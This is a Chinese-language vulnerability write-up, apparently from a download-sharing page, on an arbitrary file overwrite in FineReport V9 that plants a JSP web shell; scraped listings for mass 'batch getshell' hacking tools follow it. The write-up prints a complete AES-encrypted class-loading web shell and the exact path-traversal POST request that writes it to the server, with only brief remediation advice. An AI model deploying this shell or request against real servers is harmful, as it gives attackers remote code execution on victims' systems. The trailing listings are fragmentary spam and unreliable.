### 帆软V9getshell1:任意文件覆盖与JSP Web Shell植入详解 #### 一、背景介绍 帆软软件有限公司(FineSoft)是中国领先的企业级报表工具及商业智能解决方案提供商,其核心产品之一为FineReport报表设计工具。在2023年某次安全研究中发现了一个严重安全漏洞——任意文件覆盖(Arbitrary File Overwrite),该漏洞允许攻击者通过特定的操作路径上传恶意JSP脚本到目标服务器上,进而获得服务器权限。这一漏洞被命名为“帆软V9getshell1”。 #### 二、漏洞原理 ##### 2.1 任意文件覆盖机制 任意文件覆盖是指攻击者能够替换或修改服务器上的现有文件。在帆软报表系统的实现中,存在一处逻辑缺陷使得攻击者可以利用该功能来覆盖特定的JSP文件。 ##### 2.2 JSP马的上传与执行 1. **文件路径构造**:攻击者通过精心构造请求中的`filePath`参数,指向一个合法的JSP文件路径。例如,攻击者可以通过设置`filePath`为`../../../../WebReport/update.jsp`,将恶意代码写入到`WebReport`目录下的`update.jsp`文件中。 2. **恶意JSP代码**:攻击者准备了如下恶意JSP代码: ```jsp <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <% class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); } } if(request.getParameter("pass")!=null) { String k=(""+UUID.randomUUID()).replace("-", "").substring(16); session.putValue("u",k); out.print(k); return; } Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec((session.getValue("u")+ "").getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); %> ``` 该代码实现了以下功能: - 通过`request.getParameter("pass")`判断是否接收到触发命令。 - 使用AES加密算法对会话中的密钥进行初始化,并解码用户发送的数据。 - 动态加载并执行解密后的类文件,实现远程代码执行。 3. **HTTP请求示例**:攻击者通过发送如下POST请求将恶意代码写入指定位置: ``` POST /WebReport/ReportServer? op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36 Connection: close Accept-Au: 0c42b2f264071be0507acea1876c74 Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%>......","__CHARSET__":"UTF-8"} ``` 4. **利用Tomcat自带的JSP文件**:由于帆软报表系统通常部署在Apache Tomcat服务器上,攻击者可以利用Tomcat默认存在的JSP文件(例如`/tomcat-7.0.96/webapps/ROOT/index.jsp`)作为切入点,通过覆盖这些文件来植入恶意代码。 #### 三、修复建议 1. **升级补丁**:及时安装官方发布的最新版本或安全补丁,以修复已知的安全问题。 2. **限制文件路径**:对用户提交的文件路径进行严格的验证和过滤,避免攻击者通过构造恶意路径覆盖敏感文件。 3. **加强认证与授权**:对关键操作增加二次验证机制,限制非授权用户的访问权限,确保只有经过身份验证的用户才能执行敏感操作。 4. **审计日志记录**:开启并维护详细的审计日志,以便在发生异常情况时进行追踪和分析。 #### 四、总结 帆软V9getshell1这一漏洞揭示了在开发过程中忽视输入验证和权限控制所带来的潜在风险。企业应高度重视此类安全问题,并采取有效措施降低被攻击的风险。同时,用户也应增强安全意识,避免在不安全的网络环境中使用重要系统和服务。
2025-08-24 00:18:39 285KB java 网络协议 windows chrome
1
批量getshell工具【2023最新】这是一种内部有多个漏洞,可自动进行url采集,自动爬虫多个引擎和友情链接url,过狗一句话,轻松日出上千。
2022-12-22 14:16:35 1.09MB getshell 批量getshell工具 批量getshell
1
墨客传媒
2022-11-10 22:54:40 1.46MB 墨客
1
网络空间安全 + 渗透基础知识入门 + 文件上传获取 + getshell+权限提取+小白入门网络空间安全必看+适合网络空间安全工作者+刚开始学习网络安全基础知识
2022-11-10 09:00:20 4.56MB 文件上传 getshell
1
一键批量getshell工具,百度快照举报,批量劫持,防删jsc上传,傻瓜式一键操作,小白也可以用
2022-08-04 22:00:09 1.25MB 批量getshell工具 getshell
1
代码审计之youdiancms最新版getshell漏洞1
2022-08-03 17:01:05 1.55MB mr c# 软件/插件
1
3. 解析漏洞 GetShell 1. 站物理路径 2. 件写的权限 3. secure_file_priv 条件没有设置为 NULL
2022-08-03 17:01:01 890KB mr c#
1
一、漏洞简介 二、漏洞影响 三、复现过程
2022-07-25 17:00:32 10KB c#
1
C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程 WinForm窗体开发 GetShengXiao(源码)C#编程
2022-07-01 18:07:09 51KB C#编程WinForm窗体开发
全自动批量getshel工具+教程【2022最新版】,可以全自动检测网址是否存在漏洞,也可以批量采集指定类型的url,一键式操作,小白也可以用
1